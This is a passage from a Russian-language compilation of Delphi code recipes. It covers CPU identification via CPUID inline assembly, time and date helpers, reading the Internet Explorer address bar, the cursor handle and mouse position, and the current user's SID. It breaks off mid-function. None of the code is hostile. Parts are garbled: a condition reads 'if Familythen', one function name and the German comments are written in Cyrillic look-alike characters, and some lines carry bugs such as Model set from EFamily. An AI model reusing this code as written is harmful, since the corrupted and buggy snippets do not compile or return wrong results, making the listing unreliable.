CheckSelfSnoop:=(TempCheck=0);
end;
function TCpuData.CheckDebugTraceStore: Boolean;
label
NoDebugTraceStore;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$200000
jz NoDebugTraceStore
mov edx,0
mov TempCheck,edx
NoDebugTraceStore:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckDebugTraceStore:=(TempCheck=0);
end;
function TCpuData.CheckFXSAVEFXRSTOR: Boolean;
label
NoFXSAVEFXRSTOR;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$1000000
jz NoFXSAVEFXRSTOR
mov edx,0
mov TempCheck,edx
NoFXSAVEFXRSTOR:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckFXSAVEFXRSTOR:=(TempCheck=0);
end;
function TCpuData.CheckMMX: Boolean;
label
NoMMX;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$800000
jz NoMMX
mov edx,0
mov TempCheck,edx
NoMMX:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckMMX:=(TempCheck=0);
end;
function TCpuData.CheckMMXplus: Boolean;
label
NoMMXplus;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,$80000001
mov ebx,0
mov ecx,0
mov edx,0
db $0F,$A2 /// cpuid
test edx,$400000
jz NoMMXplus
mov edx,0
mov TempCheck,edx
NoMMXplus:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckMMXplus:=(TempCheck=0);
end;
function TCpuData.CheckSSE: Boolean;
label
NoSSE;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$2000000
jz NoSSE
mov edx,0
mov TempCheck,edx
NoSSE:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckSSE:=(TempCheck=0);
end;
function TCpuData.CheckSSE2: Boolean;
label
NoSSE2;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$4000000
jz NoSSE2
mov edx,0
mov TempCheck,edx
NoSSE2:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckSSE2:=(TempCheck=0);
end;
function TCpuData.CheckAMD3DNow: Boolean;
label
NoAMD3DNow;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,$80000001
mov ebx,0
mov ecx,0
mov edx,0
db $0F,$A2 /// cpuid
test edx,$80000000
jz NoAMD3DNow
mov edx,0
mov TempCheck,edx
NoAMD3DNow:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckAMD3DNow:=(TempCheck=0);
end;
function TCpuData.CheckAMD3DNowPlus: Boolean;
label
NoAMD3DNowPlus;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,$80000001
mov ebx,0
mov ecx,0
mov edx,0
db $0F,$A2 /// cpuid
test edx,$40000000
jz NoAMD3DNowPlus
mov edx,0
mov TempCheck,edx
NoAMD3DNowPlus:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckAMD3DNowPlus:=(TempCheck=0);
end;
function TCpuData.GetMaxExtendedFunctions: dword;
var
TempExt: dword;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,$80000000
mov ebx,0
mov ecx,0
mov edx,0
db $0F,$A2 /// cpuid
shl eax,1
shr eax,1
mov TempExt,eax
pop edx
pop ecx
pop ebx
pop eax
end;
GetMaxExtendedFunctions:=TempExt;
end;
procedure TCpuData.GetExtendedFMS(var family, model, stepping: byte);
var
TempFlags: dword;
BinFlags: array [0..31] of byte;
i, pos:integer;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,$80000001
mov ebx,0
mov ecx,0
mov edx,0
db $0F,$A2 /// cpuid
mov TempFlags,eax
pop edx
pop ecx
pop ebx
pop eax
end;
for i:=0 to 31 do
begin
BinFlags[i]:=TempFlags mod 2;
TempFlags:=TempFlags div 2;
end;
family:=0;
model:=0;
stepping:=0;
pos:=0;
for i:=0 to 3 do
begin
stepping:=stepping+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
inc(pos);
end;
pos:=4;
for i:=0 to 3 do
begin
model:=model+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
inc(pos);
end;
pos:=8;
for i:=0 to 3 do
begin
family:=family+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
inc(pos);
end;
end;
function TCpuData.GetExtendedCpuName: string;
var
s1,s2,s3,s4,s5,s6,s7,s8,s9,s10,s11,s12: array[0..3] of char;
TempCpuName: string;
i: integer;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,$80000002
mov ebx,0
mov ecx,0
mov edx,0
db $0F,$A2 /// cpuid
mov s1,eax
mov s2,ebx
mov s3,ecx
mov s4,edx
mov eax,$80000003
mov ebx,0
mov ecx,0
mov edx,0
db $0F,$A2 /// cpuid
mov s5,eax
mov s6,ebx
mov s7,ecx
mov s8,edx
mov eax,$80000004
mov ebx,0
mov ecx,0
mov edx,0
db $0F,$A2 /// cpuid
mov s9,eax
mov s10,ebx
mov s11,ecx
mov s12,edx
pop edx
pop ecx
pop ebx
pop eax
end;
TempCpuName:='';
for i:=0 to 3 do
TempCpuName:=TempCpuName+s1[i];
for i:=0 to 3 do
TempCpuName:=TempCpuName+s2[i];
for i:=0 to 3 do
TempCpuName:=TempCpuName+s3[i];
for i:=0 to 3 do
TempCpuName:=TempCpuName+s4[i];
for i:=0 to 3 do
TempCpuName:=TempCpuName+s5[i];
for i:=0 to 3 do
TempCpuName:=TempCpuName+s6[i];
for i:=0 to 3 do
TempCpuName:=TempCpuName+s7[i];
for i:=0 to 3 do
TempCpuName:=TempCpuName+s8[i];
for i:=0 to 3 do
TempCpuName:=TempCpuName+s9[i];
for i:=0 to 3 do
TempCpuName:=TempCpuName+s10[i];
for i:=0 to 3 do
TempCpuName:=TempCpuName+s11[i];
for i:=0 to 3 do
TempCpuName:=TempCpuName+s12[i];
GetExtendedCpuName := TempCpuName;
end;
function TCpuData.GetExtendedL1DCache: word;
var
L1D, TempL1D: dword;
BinArray: array [0..31] of byte;
i, p: integer;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,$80000005
mov ebx,0
mov ecx,0
mov edx,0
db $0F,$A2 /// cpuid
mov L1D,ecx
pop edx
pop ecx
pop ebx
pop eax
end;
for i:=0 to 31 do
begin
BinArray[i]:=L1D mod 2;
L1D:=L1D div 2;
end;
TempL1D:=0;
p:=0;
for i:=24 to 31 do
begin
TempL1D:=TempL1D+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
inc(p);
end;
GetExtendedL1DCache:=TempL1D;
end;
function TCpuData.GetExtendedL1ICache: word;
var
L1I, TempL1I: dword;
BinArray: array [0..31] of byte;
i, p: integer;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,$80000005
mov ebx,0
mov ecx,0
mov edx,0
db $0F,$A2 /// cpuid
mov L1I,edx
pop edx
pop ecx
pop ebx
pop eax
end;
for i:=0 to 31 do
begin
BinArray[i]:=L1I mod 2;
L1I:=L1I div 2;
end;
TempL1I:=0;
p:=0;
for i:=24 to 31 do
begin
TempL1I:=TempL1I+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
inc(p);
end;
GetExtendedL1ICache:=TempL1I;
end;
function TCpuData.GetExtendedL2Cache: word;
var
L2, TempL2: dword;
BinArray: array [0..31] of byte;
i, p: integer;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,$80000006
mov ebx,0
mov ecx,0
mov edx,0
db $0F,$A2 /// cpuid
mov L2,ecx
pop edx
pop ecx
pop ebx
pop eax
end;
for i:=0 to 31 do
begin
BinArray[i]:=L2 mod 2;
L2:=L2 div 2;
end;
TempL2:=0;
p:=0;
for i:=16 to 31 do
begin
TempL2:=TempL2+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
inc(p);
end;
GetExtendedL2Cache:=TempL2;
end;
function TCpuData.CheckCeleron: Boolean;
var
BId: byte;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
mov BId,bl
pop edx
pop ecx
pop ebx
pop eax
end;
CheckCeleron:=(BId=$1);
end;
function TCpuData.CheckPentiumIII: Boolean;
var
BId: byte;
begin
CheckPentiumIII:=(CheckMMX and CheckSSE);
end;
function TCpuData.CheckXeon: Boolean;
var
BId: byte;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
mov BId,bl
pop edx
pop ecx
pop ebx
pop eax
end;
CheckXeon:=(BId=$3);
end;
function TCpuData.CheckPentium4: Boolean;
var
BId: byte;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
mov BId,bl
pop edx
pop ecx
pop ebx
pop eax
end;
CheckPentium4:=(BId=$8);
end;
function TCpuData.CheckIthanium: Boolean;
var
res: dword;
BinArray: array [0..31] of byte;
i: byte;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
mov res,edx
pop edx
pop ecx
pop ebx
pop eax
end;
for i:=0 to 31 do
begin
BinArray[i]:=res mod 2;
res:=res div 2;
end;
CheckIthanium:=(CheckPentium4 and (BinArray[30]=1));
end;
function TCpuData.IntelP5N: string;
begin
if CheckMMX then
IntelP5N:='Intel Pentium(r) MMX(tm)'
else
IntelP5N:='Intel Pentium(r)';
end;
function TCpuData.IntelP6N: string;
begin
if CheckCeleron then
IntelP6N:='Intel Celeron(r)'
else
if CheckPentiumIII then
IntelP6N:='Intel Pentium(r) III'
else
if CheckXeon then
IntelP6N:='Intel Pentium(r) III Xeon(tm)'
else
if not CheckMMX then
IntelP6N:='Intel Pentium(r) PRO'
else
IntelP6N:='Intel Pentium(r) II';
end;
function TCpuData.AMDK5N: string;
var
Family, Model, Stepping: byte;
begin
GetFMS(Family,Model,Stepping);
if Model=0 then
AMDK5N:='AMD K5'
else
AMDK5N:=GetExtendedCpuName;
end;
function TCpuData.Cyrix686N: string;
begin
if CpuData.GetMaxExtendedFunctions>0 then
Cyrix686N:=GetExtendedCpuName
else
if CheckMMX then
Cyrix686N:='VIA Cyrix 6x86MII'
else
Cyrix686N:='VIA Cyrix 6x86';
end;
function TCpuData.GenericCpuN: string;
var
SysInfo:TSystemInfo;
begin
GetSystemInfo(SysInfo);
if SysInfo.dwProcessorType=386 then
GenericCpuN:='Generic 386 CPU'
else
if SysInfo.dwProcessorType=486 then
GenericCpuN:='Generic 486 CPU'
else
if SysInfo.dwProcessorType=586 then
GenericCpuN:='Pentium Class CPU'
else
GenericCpuN:='Unknown CPU';
end;
function TCpuData.P5CacheL1DI: word;
begin
if CheckMMX then
P5CacheL1DI:=16
else
P5CacheL1DI:=8;
end;
function TCpuData.P6CacheL1DI: word;
begin
if not CheckMMX then
P6CacheL1DI:=8
else
P6CacheL1DI:=16;
end;
function TCpuData.P6CacheL2: word;
var
Family, Model, Stepping: byte;
begin
if CheckCeleron then
P6CacheL2:=128
else
if CheckPentiumIII then
begin
GetFMS(Family,Model,Stepping);
if Model=7 then
P6CacheL2:=512
else
if Model=8 then
P6cacheL2:=256
else
P6CacheL2:=512;
end
else
if not CheckMMX then
P6CacheL2:=512
else
P6CacheL2:=512;
end;
function TCpuData.AuthenticAMD: TCpuRec;
var
Family, Model, Stepping: byte;
EFamily, EModel, EStepping: byte;
begin
GetFMS(Family,Model,Stepping);
if Family=4 then
begin
AuthenticAMD.name:='AMD 486';
AuthenticAMD.Vendor:=GetVendorString;
AuthenticAMD.Frequency:=0;
AuthenticAMD.Family:=Family;
AuthenticAMD.Model:=Model;
AuthenticAMD.Stepping:=Stepping;
AuthenticAMD.L1DCache:=8;
AuthenticAMD.L1ICache:=8;
AuthenticAMD.L2Cache:=0;
end
else
if Family=5 then
begin
if GetMaxExtendedFunctions>4 then
begin
AuthenticAMD.name:=GetExtendedCpuName;
AuthenticAMD.Vendor:=GetVendorString;
AuthenticAMD.Frequency:=GetCPUFrequency;
GetExtendedFMS(EFamily,EModel,EStepping);
AuthenticAMD.Family:=EFamily;
AuthenticAMD.Model:=EModel;
AuthenticAMD.Stepping:=EStepping;
AuthenticAMD.L1DCache:=GetExtendedL1DCache;
AuthenticAMD.L1ICache:=GetExtendedL1ICache;
AuthenticAMD.L2Cache:=0;
end
else
begin
AuthenticAMD.name:=AMDK5N;
AuthenticAMD.Vendor:=GetVendorString;
AuthenticAMD.Frequency:=GetCPUFrequency;
AuthenticAMD.Family:=Family;
AuthenticAMD.Model:=Model;
AuthenticAMD.Stepping:=Stepping;
AuthenticAMD.L1DCache:=16;
AuthenticAMD.L1ICache:=16;
AuthenticAMD.L2Cache:=0;
end;
end
else
if family>5 then
begin
AuthenticAMD.name:=GetExtendedCpuName;
AuthenticAMD.name:=GetExtendedCpuName;
AuthenticAMD.Vendor:=GetVendorString;
AuthenticAMD.Frequency:=GetCPUFrequency;
GetExtendedFMS(EFamily,EModel,EStepping);
AuthenticAMD.Family:=EFamily;
AuthenticAMD.Model:=EModel;
AuthenticAMD.Stepping:=EStepping;
AuthenticAMD.L1DCache:=GetExtendedL1DCache;
AuthenticAMD.L1ICache:=GetExtendedL1ICache;
AuthenticAMD.L2Cache:=GetExtendedL2Cache;
end;
end;
function TCpuData.GenuineIntel: TCpuRec;
var
Family, Model, Stepping: byte;
begin
GetFMS(Family,Model,Stepping);
if Family=4 then
begin
GenuineIntel.name:='Intel 486';
GenuineIntel.Vendor:=GetVendorString;
GenuineIntel.Frequency:=0;
GenuineIntel.Family:=Family;
GenuineIntel.Model:=Model;
GenuineIntel.Stepping:=Stepping;
GenuineIntel.L1DCache:=8;
GenuineIntel.L1ICache:=8;
GenuineIntel.L2Cache:=0;
end
else
if Family=5 then
begin
GenuineIntel.name:=IntelP5N;
GenuineIntel.Vendor:=GetVendorString;
GenuineIntel.Frequency:=GetCPUFrequency;
GenuineIntel.Family:=Family;
GenuineIntel.Model:=Model;
GenuineIntel.Stepping:=Stepping;
GenuineIntel.L1DCache:=P5CacheL1DI;
GenuineIntel.L1ICache:=P5CacheL1DI;
GenuineIntel.L2Cache:=0;
end
else
if Family=6 then
begin
GenuineIntel.name:=IntelP6N;
GenuineIntel.Vendor:=GetVendorString;
GenuineIntel.Frequency:=GetCPUFrequency;
GenuineIntel.Family:=Family;
GenuineIntel.Model:=Model;
GenuineIntel.Stepping:=Stepping;
GenuineIntel.L1DCache:=P6CacheL1DI;
GenuineIntel.L1ICache:=P6CacheL1DI;
GenuineIntel.L2Cache:=P6CacheL2;
end
else
if Family=$F then
begin
if CheckPentium4 then
begin
GenuineIntel.name:='Intel Pentium(r) 4';
GenuineIntel.Vendor:=GetVendorString;
GenuineIntel.Frequency:=GetCPUFrequency;
GenuineIntel.Family:=32;
GenuineIntel.Model:=Model;
GenuineIntel.Stepping:=Stepping;
GenuineIntel.L1DCache:=8;
GenuineIntel.L1ICache:=12;
GenuineIntel.L2Cache:=256;
end
else
if CheckIthanium then
begin
GenuineIntel.name:='Intel Ithanium';
GenuineIntel.Vendor:=GetVendorString;
GenuineIntel.Frequency:=GetCPUFrequency;
GenuineIntel.Family:=64;
GenuineIntel.Model:=Model;
GenuineIntel.Stepping:=Stepping;
GenuineIntel.L1DCache:=0;
GenuineIntel.L1ICache:=0;
GenuineIntel.L2Cache:=0;
end;
end;
end;
function TCpuData.CyrixInstead: TCpuRec;
var
Family, Model, Stepping: byte;
EFamily, EModel, EStepping: byte;
begin
GetFMS(Family,Model,Stepping);
if Family=4 then
begin
CyrixInstead.name:='VIA Cyrix 4x86';
CyrixInstead.Vendor:=GetVendorString;
CyrixInstead.Frequency:=0;
CyrixInstead.Family:=Family;
CyrixInstead.Model:=Model;
CyrixInstead.Stepping:=Stepping;
CyrixInstead.L1DCache:=8;
CyrixInstead.L1ICache:=8;
CyrixInstead.L2Cache:=0;
end
else
if Family=5 then
begin
CyrixInstead.name:='VIA Cyrix 5x86';
CyrixInstead.Vendor:=GetVendorString;
CyrixInstead.Frequency:=GetCPUFrequency;
CyrixInstead.Family:=Family;
CyrixInstead.Model:=Model;
CyrixInstead.Stepping:=Stepping;
CyrixInstead.L1DCache:=8;
CyrixInstead.L1ICache:=8;
CyrixInstead.L2Cache:=0;
end
else
begin
if GetMaxExtendedFunctions>0 then
begin
CyrixInstead.name:=GetExtendedCpuName;
CyrixInstead.Vendor:=GetVendorString;
CyrixInstead.Frequency:=GetCPUFrequency;
GetExtendedFMS(EFamily,EModel,EStepping);
CyrixInstead.Family:=EFamily;
CyrixInstead.Model:=EModel;
CyrixInstead.Stepping:=EStepping;
CyrixInstead.L1DCache:=GetExtendedL1DCache;
CyrixInstead.L1ICache:=GetExtendedL1ICache;
CyrixInstead.L2Cache:=GetExtendedL2Cache;
end
else
begin
CyrixInstead.name:=Cyrix686N;
CyrixInstead.Vendor:=GetVendorString;
CyrixInstead.Frequency:=GetCPUFrequency;
CyrixInstead.Family:=Family;
CyrixInstead.Model:=Model;
CyrixInstead.Stepping:=Stepping;
CyrixInstead.L1DCache:=32;
CyrixInstead.L1ICache:=32;
CyrixInstead.L2Cache:=0;
end;
end;
end;
function TCpuData.GenericCPU: TCpuRec;
var
Family, Model, Stepping: byte;
EFamily, EModel, EStepping: byte;
begin
if not GetCPUIDSupport then
begin
MessageDlg('This CPU does not support the CPUID instruction!!!',mtWarning,
[mbOk],0);
GenericCPU.name:='Unidentified CPU';
GenericCPU.Vendor:='Unidentified';
GenericCPU.Frequency:=0;
GenericCPU.Family:=-1;
GenericCPU.Model:=-1;
GenericCPU.Stepping:=-1;
GenericCPU.L1DCache:=0;
GenericCPU.L1ICache:=0;
GenericCPU.L2Cache:=0;
end
else
begin
GetFMS(Family,Model,Stepping);
if GetMaxExtendedFunctions>0 then
begin
GenericCPU.name:=GetExtendedCPUName;
GenericCPU.Vendor:=GetVendorString;
GenericCPU.Frequency:=GetCPUFrequency;
CpuData.GetExtendedFMS(EFamily,EModel,EStepping);
GenericCPU.Family:=EFamily;
GenericCPU.Model:=EFamily;
GenericCPU.Stepping:=EStepping;
GenericCPU.L1DCache:=GetExtendedL1DCache;
GenericCPU.L1ICache:=GetExtendedL1ICache;
GenericCPU.L2Cache:=GetExtendedL2Cache;
end
else
begin
GenericCPU.name:=GenericCpuN;
GenericCPU.Vendor:=GetVendorString;
if Familythen
GenericCPU.Frequency:=0
else
GenericCPU.Frequency:=GetCPUFrequency;
GenericCPU.Family:=Family;
GenericCPU.Model:=Model;
GenericCPU.Stepping:=Stepping;
GenericCPU.L1DCache:=0;
GenericCPU.L1ICache:=0;
GenericCPU.L2Cache:=0;
end;
end;
end;
end.
|
Готовый проект можно взять здесь
Определение фирмы производителя CPU.
Автор: Gua WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение фирмы производителя CPU
Зависимости: нет
Автор: Gua, fbsdd@ukr.net, ICQ:1411585495, Simferopol
Copyright:
Дата: 03 мая 2002 г.
***************************************************** }
type
TVendor = array[0..11] of char;
.........................
function GetCPUVendor: TVendor; assembler; register;
asm
PUSH EBX {Save affected register}
PUSH EDI
MOV EDI,EAX {@Result (TVendor)}
MOV EAX,0
DW $A20F {CPUID Command}
MOV EAX,EBX
XCHG EBX,ECX {save ECX result}
MOV ECX,4
@1:
STOSB
SHR EAX,8
LOOP @1
MOV EAX,EDX
MOV ECX,4
@2:
STOSB
SHR EAX,8
LOOP @2
MOV EAX,EBX
MOV ECX,4
@3:
STOSB
SHR EAX,8
LOOP @3
POP EDI {Restore registers}
POP EBX
end;
Узнать текущие время и дату по Гринвичу.
procedure TForm1.Button4Click(Sender: TObject);
var
lt: TSYSTEMTIME;
st: TSYSTEMTIME;
begin
GetLocalTime(lt);
GetSystemTime(st);
Memo1.Lines.Add('LocalTime = ' +
IntToStr(lt.wmonth) + '/' +
IntToStr(lt.wDay) + '/' +
IntToStr(lt.wYear) + ' ' +
IntToStr(lt.wHour) + ':' +
IntToStr(lt.wMinute) + ':' +
IntToStr(lt.wSecond));
Memo1.Lines.Add('UTCTime = ' +
IntToStr(st.wmonth) + '/' +
IntToStr(st.wDay) + '/' +
IntToStr(st.wYear) + ' ' +
IntToStr(st.wHour) + ':' +
IntToStr(st.wMinute) + ':' +
IntToStr(st.wSecond));
end;
|
Как захватить текущий URL из окна Internet Explorer.
| Сначала Джон Леннон назвал свою группу "Beetles". Но оказалось, что адрес www.beetles.com уже занят какими-то жуками. С тех пор группа называется "Beatles". |
Описываем две функции GetText и GetURL:
function GetText(WindowHandle: hwnd):string;
var
txtLength : integer;
buffer: string;
begin
TxtLength := SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0, 0);
txtlength := txtlength + 1;
setlength (buffer, txtlength);
sendmessage (WindowHandle,wm_gettext, txtlength, longint(@buffer[1]));
result := buffer;
end;
function GetURL:string;
var
ie,toolbar,combo,
comboboxex,edit,
worker,toolbarwindow:hwnd;
begin
ie := FindWindow(pchar('IEFrame'),nil);
worker := FindWindowEx(ie,0,'WorkerA',nil);
toolbar := FindWindowEx(worker,0,'rebarwindow32',nil);
comboboxex := FindWindowEx(toolbar, 0, 'comboboxex32', nil);
combo := FindWindowEx(comboboxex,0,'ComboBox',nil);
edit := FindWindowEx(combo,0,'Edit',nil);
toolbarwindow := FindWindowEx(comboboxex, 0, 'toolbarwindow32', nil);
result := GetText(edit);
end;
|
Ну а затем пользуемся функцией GetURL, например, можем в поле ввода по нажатию на кнопку выводит текущий URL:
procedure TForm1.Button1Click(Sender: TObject); begin Edit1.Text := GetURL; end; |
Получить дескриптор текущего курсора.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
The GetCursor() API is limited in that it does not, by default, return a handle to the current
cursor when that cursor is owned by another thread. This article demonstrates a way to retrieve
the current cursor regardless of what thread owns it.
For example, when you wish to include the image of the cursor in a screen capture.
}
{
Die GetCursor() API gibt das Handle auf den aktuellen Mauszeiger zигьск.
Wenn Der Mauszeiger aber zu einem anderen Thread gеhцгt, funktioniert die GetCursor()
nicht ohne weiteres.
Dieses Beispiel zeigt, wie man das Handle zum aktuellen Mauszeiger systemweit ermitteln kann,
egal zu welchem Thread der Mauszeiger gеhцгt.
Der Code ist z.B nьtz1iсh, wenn man in einem "Screen Shot" den Mauszeiger zeigen mцсhtе.
}
function GetCursorHandle: HCURSOR;
var
hWindow: HWND;
pt: TPoint;
pIconInfo: TIconInfo;
dwThreadID, dwCurrentThreadID: DWORD;
begin
// Find out which window owns the cursor
// Das zum Mauszeiger zиgеhцгigе Fenster finden
GetCursorPos(pt);
hWindow := WindowFromPoint(pt);
// Get the thread ID for the cursor owner.
// Thread ID des Fensters ermitteln
dwThreadID := GetWindowThreadProcessId(hWindow, nil);
// Get the thread ID for the current thread
// Thread ID fьг den aktuellen Thread ermitteln
dwCurrentThreadID := GetCurrentThreadId;
// If the cursor owner is not us then we must attach to
// the other thread in so that we can use GetCursor() to
// return the correct hCursor
// Wenn der Mauszeiger zu einem anderen Thread gеhцгt, mьssеn wir
// an den anderen Thread аnhдngеn.
if (dwCurrentThreadID <> dwThreadID) then
begin
if AttachThreadInput(dwCurrentThreadID, dwThreadID, True) then
begin
// Das Handle des Mauszeigers ermitteln
// Get the handle to the cursor
Result := GetCursor;
AttachThreadInput(dwCurrentThreadID, dwThreadID, False);
end;
end else
begin
Result := GetCursor;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
CurPosX, CurPoxY: Integer;
MyCursor: TIcon;
pIconInfo: TIconInfo;
begin
MyCursor := TIcon.Create;
try
MyCursor.Handle := GetCursorHandle;
// Retrieves information about the specified cursor.
// Informationen ььег den Mauszeiger auslesen
GetIconInfo(MyCursor.Handle, pIconInfo);
CurPosX := pIconInfo.xHotspot;
CurPoxY := pIconInfo.yHotspot;
// Draw the Cursor on the form
// Den Mauszeiger auf die Form zeichnen
Canvas.Draw(CurPoxY, CurPoxY, MyCursor);
finally
MyCursor.ReleaseHandle;
MyCursor.Free;
end;
end;
// Another Solution:
// Andere Мцg1iсhкеit:
procedure TForm1.Timer1Timer(Sender: TObject);
var
CI: TCursorInfo;
begin
CI.cbSize := SizeOf(CI);
GetCursorInfo(CI);
Image1.Picture.Icon.Handle := CI.hCursor;
end;
Как узнать текущие координаты мышки.
Для этого можно воспользоваться API функцией GetCursorPos. Передав в эту функцию TPoint, мы получим текущие координаты курсора. Следующий код показывает, как получить значения координат курсора по нажатию кнопки.
procedure Form1.Button1Click(Sender: TObject);
var
foo: TPoint;
begin
GetCursorPos(foo);
ShowMessage('(' + IntToStr(foo.X) + ' ,' + IntToStr(foo.Y) + ')');
end;
|
Получение целого числа часов от начала суток.
Автор: Savva WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение целого числа часов от начала суток
Возвращает целое число часов от начала суток.
Пример: для "11:25:00" будет возвращено значение "11"
Зависимости: System, SysUtils
Автор: savva, savva@nm.ru, ICQ:126578975, Орел
Copyright: Сапронов Алексей (Savva)
Дата: 6 июня 2002 г.
***************************************************** }
function GеtСиггеntНоиг: integer;
begin
result := Round(Time * 24);
end;
Определение текущего времени, отдельно часы, минуты и секунды.
Автор: Eagle WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение текущего времени(часы, минуты, секунды)
Зависимости: SysUtils, Classes
Автор: Eagle, ICQ:160702560
Copyright: MegaSoft
Дата: 2 ноября 2002 г.
***************************************************** }
unit gettime;
interface
uses SysUtils, Classes;
function gethours: integer;
function getmins: integer;
function getsecs: integer;
implementation
function gethours: integer;
var
s: string;
h: integer;
begin
s := timetostr(time);
h := strtoint(s[1] + s[2]);
Result := h;
end;
function getmins: integer;
var
s: string;
h: integer;
begin
s := timetostr(time);
h := strtoint(s[4] + s[5]);
Result := h;
end;
function getsecs: integer;
var
s: string;
h: integer;
begin
s := timetostr(time);
h := strtoint(s[7] + s[8]);
Result := h;
end;
end.
Определить SID текущего пользователя.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
(******************************************************************************)
(* SPGetSid - Retrieve the current user''s SID in text format *)
(* *)
(* Copyright (c) 2004 Shorter Path Software *)
(* http://www.shorterpath.com *)
(******************************************************************************)
{
SID is a data structure of variable length that identifies user, group,
and computer accounts.
Every account on a network is issued a unique SID when the account is first created.
Internal processes in Windows refer to an account''s SID
rather than the account''s user or group name.
}
unit SPGetSid;
interface
uses
Windows, SysUtils;
function GetCurrentUserSid: string;
implementation
const
HEAP_ZERO_MEMORY = $00000008;
SID_REVISION = 1; // Current revision level
type
PTokenUser = ^TTokenUser;
TTokenUser = packed record
User: TSidAndAttributes;
end;
function ConvertSid(Sid: PSID; pszSidText: PChar; var dwBufferLen: DWORD): BOOL;
var
psia: PSIDIdentifierAuthority;
dwSubAuthorities: DWORD;
dwSidRev: DWORD;
dwCounter: DWORD;
dwSidSize: DWORD;
begin
Result := False;
dwSidRev := SID_REVISION;
if not IsValidSid(Sid) then Exit;
psia := GetSidIdentifierAuthority(Sid);
dwSubAuthorities := GetSidSubAuthorityCount(Sid)^;
dwSidSize := (15 + 12 + (12 * dwSubAuthorities) + 1) * SizeOf(Char);
if (dwBufferLen < dwSidSize) then
begin
dwBufferLen := dwSidSize;
SetLastError(ERROR_INSUFFICIENT_BUFFER);
Exit;
end;
StrFmt(pszSidText, 'S-%u-', [dwSidRev]);
if (psia.Value[0] <> 0) or (psia.Value[1] <> 0) then
StrFmt(pszSidText + StrLen(pszSidText),
'0x%.2x%.2x%.2x%.2x%.2x%.2x',
[psia.Value[0], psia.Value[1], psia.Value[2],
psia.Value[3], psia.Value[4], psia.Value[5]])
else
StrFmt(pszSidText + StrLen(pszSidText),
'%u',
[DWORD(psia.Value[5]) +
DWORD(psia.Value[4] shl 8) +
DWORD(psia.Value[3] shl 16) +
DWORD(psia.Value[2] shl 24)]);
dwSidSize := StrLen(pszSidText);
for dwCounter := 0 to dwSubAuthorities - 1 do
begin
StrFmt(pszSidText + dwSidSize, '-%u',
[GetSidSubAuthority(Sid, dwCounter)^]);
dwSidSize := StrLen(pszSidText);
end;
Result := True;
end;
function ObtainTextSid(hToken: THandle; pszSid: PChar;
var dwBufferLen: DWORD): BOOL;
var
dwReturnLength: DWORD;
dwTokenUserLength: DWORD;
tic: TTokenInformationClass;
ptu: Pointer;
begin
Result := False;
dwReturnLength := 0;
dwTokenUserLength := 0;
tic := TokenUser;
ptu := nil;
if not GetTokenInformation(hToken, tic, ptu, dwTokenUserLength,
dwReturnLength) then
begin
if GetLastError = ERROR_INSUFFICIENT_BUFFER then
begin
ptu := HeapAlloc(GetProcessHeap, HEAP_ZERO_MEMORY, dwReturnLength);
if ptu = nil then Exit;
dwTokenUserLength := dwReturnLength;
dwReturnLength := 0;
if not GetTokenInformation(hToken, tic, ptu, dwTokenUserLength,
dwReturnLength) then Exit;
end
else
Exit;
end;
if not ConvertSid((PTokenUser(ptu).User).Sid, pszSid, dwBufferLen) then Exit;
if not HeapFree(GetProcessHeap, 0, ptu) then Exit;
Result := True;
end;
function GetCurrentUserSid: string;
var
hAccessToken: THandle;
bSuccess: BOOL;
dwBufferLen: DWORD;
szSid: array[0..260] of Char;
begin
Result := '';
bSuccess := OpenThreadToken(GetCurrentThread, TOKEN_QUERY, True,
hAccessToken);
if not bSuccess then
begin
if GetLastError = ERROR_NO_TOKEN then
